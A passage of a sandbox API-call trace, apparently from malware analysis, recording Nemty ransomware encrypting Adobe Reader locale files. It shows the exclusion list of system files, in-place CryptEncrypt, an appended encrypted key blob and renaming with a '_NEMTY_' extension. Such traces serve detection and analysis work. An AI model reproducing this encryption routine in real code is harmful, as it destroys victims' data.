(HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.470] GetLastError () returned 0x0 [0173.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.470] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.470] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.470] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.470] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6P5gudoJZJRegUg4hZ/YJ7NIYYOlny+GH85eLs5VA7QDcyZkjSohbdwTeaBNlkMa\r\nLb+knDaau5eFmsOAZn4J8ZH7l9TEK9seqPJpfrn8Q/QxSqSMXqAqeZ5xwbG3BlD9\r\nnOW1MutYD8P/E914M7G2BCSwDlW++YwssC1yf+O3zUnO5Jn+OAvLIVDsJRRaL8uT\r\nw6sPNbX8rZ/uZUhIo3BeKvzQU05S8jzM5ekA+pNm07QTdMFHDZ/H9GElfa2fhquE\r\nbVRRb9+YloANHZ25Aef3s69Fw7aFbPxUUKwUW/idIGKf32UnpOPp4VxpUcTPE2xY\r\nAoeDfo7jCQR/AHqsC6adwQ==\r\n", pcchString=0x653e5dc) returned 1 [0173.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.472] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14336) returned 1 [0173.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3800) returned 0x6352c48 [0173.472] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.472] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3800, lpOverlapped=0x0) returned 1 [0173.475] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.475] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3800, lpOverlapped=0x0) returned 1 [0173.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.475] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=14336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3800 [0173.475] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.475] CloseHandle (hObject=0x3b0) returned 1 [0173.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.475] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat._nemty_kgobjgd_")) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.476] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.CAT", cAlternateFileName="")) returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2=".") returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="..") returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="...") returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="windows") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="rsa") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="NTDETECT.COM") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="ntldr") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="MSDOS.SYS") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="IO.SYS") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="boot.ini") returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="boot.ini") returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="ntuser.dat") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="desktop.ini") returned -1 [0173.476] lstrcmpiW (lpString1="Checkers.CAT", lpString2="CONFIG.SYS") returned -1 [0173.477] lstrcmpiW (lpString1="Checkers.CAT", lpString2="RECYCLER") returned -1 [0173.477] lstrcmpiW (lpString1="Checkers.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.477] lstrcmpiW (lpString1="Checkers.CAT", lpString2="bootmgr") returned 1 [0173.477] lstrcmpiW (lpString1="Checkers.CAT", lpString2="programdata") returned -1 [0173.477] lstrcmpiW (lpString1="Checkers.CAT", lpString2="appdata") returned 1 [0173.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.477] Sleep (dwMilliseconds=0x5) [0173.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b0d6010, dwHighDateTime=0x1d561e8)) [0173.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b0d6010, dwHighDateTime=0x1d561e8)) [0173.485] GetLastError () returned 0x0 [0173.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.485] GetLastError () returned 0x0 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.486] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.486] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="omdTl6WBMxAkpdcnRYr4bQ0c4CH5Li3Ji/3LdoB8wURrTei+S7QLBijeH1AHdEfj\r\n0UFaaltQlpI/tcOMxh+JEOmgTL0F7z3a4qCSoZWMI5x1FwwpIcsMiroH8tXzOHWO\r\nvoOVLEgvDeTEwa+vNVNw/8wT1lk7afZYw8wwcWWGo+EU74NHP6zeCAI6rz8zo0MS\r\nnZ4MjvZyRNOX1Eb1RZT/FMwap6G78rPih9zwheeW+OITLAOkKjc3+oBbOfGAOczr\r\nOcfbW18jOZw44U40DQtjF45O1BkFRO7trp/seAA07I+LpZOoJAR6LcBRTyXdllw9\r\nCCozEX/SluvAmX3fXUKgPw==\r\n", pcchString=0x653e5dc) returned 1 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.486] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=130560) returned 1 [0173.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.486] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.486] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.495] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.495] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.495] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=130560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe00 [0173.495] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.495] CloseHandle (hObject=0x3b0) returned 1 [0173.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.496] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat._nemty_kgobjgd_")) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.497] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.CAT", cAlternateFileName="")) returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2=".") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="..") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="...") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="windows") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="rsa") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="NTDETECT.COM") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="ntldr") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="MSDOS.SYS") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="IO.SYS") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="boot.ini") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="boot.ini") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="ntuser.dat") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="desktop.ini") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="CONFIG.SYS") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="RECYCLER") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="bootmgr") returned 1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="programdata") returned -1 [0173.497] lstrcmpiW (lpString1="DigSig.CAT", lpString2="appdata") returned 1 [0173.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CAT", 